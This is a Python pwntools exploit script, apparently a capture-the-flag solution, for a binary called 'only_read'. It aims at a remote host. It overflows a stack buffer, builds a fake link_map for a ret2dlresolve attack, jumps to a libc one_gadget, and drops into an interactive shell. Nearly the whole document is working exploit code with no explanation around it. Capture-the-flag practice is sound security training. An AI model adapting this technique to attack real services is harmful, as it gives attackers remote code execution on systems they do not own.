1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123
|
''' author: GeekCmore time: 2025-04-26 18:26:00 ''' from pwn import *
filename = "only_read_patched" libcname = "/home/botdebug/.config/cpwn/pkgs/2.39-0ubuntu8.4/amd64/libc6_2.39-0ubuntu8.4_amd64/usr/lib/x86_64-linux-gnu/libc.so.6" host = "1.95.129.168" port = 9999 elf = context.binary = ELF(filename) context.terminal = ['tmux', 'neww'] context.log_level = "debug" if libcname: libc = ELF(libcname) gs = ''' b *0x401153 set debug-file-directory /home/botdebug/.config/cpwn/pkgs/2.39-0ubuntu8.4/amd64/libc6-dbg_2.39-0ubuntu8.4_amd64/usr/lib/debug
'''
def start(): if args.GDB: return gdb.debug(elf.path, gdbscript = gs) elif args.REMOTE: return remote(host, port) else: return process(elf.path)
p = start()
def leak_address(): if context.arch == 'i386': return u32(p.recv(4)) else: return u64(p.recv(6).ljust(8, b'\x00'))
def leak_address2(timeout=0.1): contains = b"\x7f" if context.bits == 64 else b"\xf7" m = p.recvuntil(contains, timeout=timeout) if contains not in m: raise RuntimeError("Cannot get libc addr") if context.bits == 32: return u32(m[-4:]) else: return u64(m[-6:])
def dbg(): if args.AT: gdb.attach(p,gs) pause()
s = lambda x : p.send(x) sl = lambda x : p.sendline(x) sa = lambda x , y : p.sendafter(x , y) sla = lambda x , y : p.sendlineafter(x , y) r = lambda x : p.recv(x) ru = lambda x : p.recvuntil(x) rl = lambda x : p.recvline(x) ia = lambda : p.interactive() op32 = make_packer(32, endian='big', sign='unsigned') op64 = make_packer(64, endian='big', sign='unsigned') rop = ROP(elf) n64 = lambda x: (x + 0x10000000000000000) & 0xFFFFFFFFFFFFFFFF
def build_fake_link_map(fake_linkmap_addr, func, base_func='read'): offset = n64(func - libc.sym[base_func]) linkmap = p64(offset) linkmap = linkmap.ljust(0x68, b'\x00') linkmap += p64(elf.bss()) linkmap += p64(fake_linkmap_addr + 0x100) linkmap = linkmap.ljust(0xf8, b'\x00') linkmap += p64(fake_linkmap_addr + 0x110) linkmap += p64(0) + p64(elf.got[base_func] - 8) linkmap += p64(0) + p64(fake_linkmap_addr + 0x120) linkmap += p64(n64(elf.bss() - offset)) + p32(7) + p32(0) return linkmap
def exp(): if args.REMOTE: ru("Submit the token generated by `hashcash -mb26") p.recvrepeat(0.5) sl(input())
ru(b'Here is your challenge~\n') sleep(1) read_plt = 0x401040 read_got = 0x404000 read = 0x401142 write_addr = 0x404500 resolve_plt = elf.get_section_by_name('.plt').header.sh_addr fake_linkmap_addr = 0x404500 + 0x80 + 8*4 one_gadget = [0x583ec, 0x583f3, 0xef4ce, 0xef52b] payload = flat( "A" * 0x80, write_addr+0x80, read ) s(payload)
sleep(1)
payload = flat( 0, flat( ).ljust(0x78, b"B"), elf.bss()+0x100, resolve_plt + 6, fake_linkmap_addr, 0, build_fake_link_map(fake_linkmap_addr, one_gadget[3]) ) s(payload)
ia()
exp()
|